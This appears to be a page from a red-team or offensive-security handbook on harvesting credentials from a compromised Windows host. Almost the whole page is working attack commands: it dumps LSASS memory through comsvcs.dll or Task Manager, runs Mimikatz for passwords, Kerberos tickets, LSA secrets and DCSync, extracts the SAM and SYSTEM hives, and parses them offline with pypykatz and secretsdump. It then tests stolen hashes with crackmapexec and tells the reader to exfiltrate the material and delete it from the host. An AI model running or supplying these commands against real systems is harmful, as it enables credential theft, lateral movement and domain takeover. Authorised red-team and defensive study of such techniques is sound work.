Credential harvesting¶
Extracting credentials from a compromised host to enable lateral movement and collection from additional systems. Requires local admin or SYSTEM privileges for most techniques.
Check what protections are in place first¶
# is Credential Guard running? (blocks plaintext password extraction from LSASS)
(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard active; plaintext passwords will not be in LSASS
# is RunAsPPL enabled? (LSASS Protected Process Light: blocks direct injection)
(Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa).RunAsPPL
# 1 = PPL active; direct LSASS access requires a driver-level bypass
LSASS memory extraction¶
Method 1: Task Manager dump (interactive, no tooling)¶
# requires GUI access or RDP
# Task Manager -> Details -> lsass.exe -> Create dump file
# output: C:\Users\<user>\AppData\Local\Temp\lsass.DMP
# move the dump to a system where Mimikatz can process it offline
Method 2: comsvcs.dll (LOLbin, no external tools)¶
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Temp\lsass.dmp full
Method 3: Mimikatz (if AMSI and AV bypassed)¶
# in-process: runs in the current PowerShell session
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# extract Kerberos tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
Method 4: Process injection into LSASS (avoids direct handle)¶
The harvesting command runs inside LSASS’s memory space, bypassing some EDR hooks that monitor direct LSASS access.
Processing a dump offline¶
Transfer the dump to an attacker-controlled system and process it there:
# pypykatz: Python implementation of Mimikatz
pip install pypykatz
pypykatz lsa minidump lsass.dmp
# output: plaintext passwords (if Credential Guard absent), NTLM hashes,
# Kerberos tickets (in .kirbi format)
SAM database (local accounts)¶
# method 1: shadow copy extraction (avoids touching LSASS)
$shadow = (vssadmin list shadows | Select-String 'Volume Shadow Copy').Matches.Value |
Select-Object -Last 1
cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM"
cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM"
# method 2: reg save (requires SYSTEM)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYS
# extract hashes offline
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
LSA secrets and cached domain credentials¶
# requires SYSTEM; extracts service account passwords and cached logon hashes
Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'
Invoke-Mimikatz -Command '"lsadump::cache"'
Kerberos ticket theft and Kerberoasting¶
# list all tickets in the current session
klist
# export all tickets (Mimikatz)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# output: Base64-encoded .kirbi files
# Kerberoasting: request TGS for SPNs and crack offline
# covered in detail in the crypto-attacks section
DCSync (domain admin or delegation rights required)¶
DCSync replicates credentials from the domain controller without running anything on the DC itself:
# requires Domain Admin, or Replicating Directory Changes + Replicating Directory Changes All
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /user:Administrator"'
# all users (generates significant replication traffic)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all /csv"'
Verify and stage¶
After harvesting:
# test NTLM hashes with crackmapexec before exfiltrating
crackmapexec smb TARGET_IP -u Administrator -H NTLM_HASH
# look for 'Pwn3d!' in output = local admin on that host
# stage harvested material for exfiltration
# hashes, kirbi files, and any exported credential material
Do not store credential material on the compromised host longer than necessary. Exfiltrate and then delete.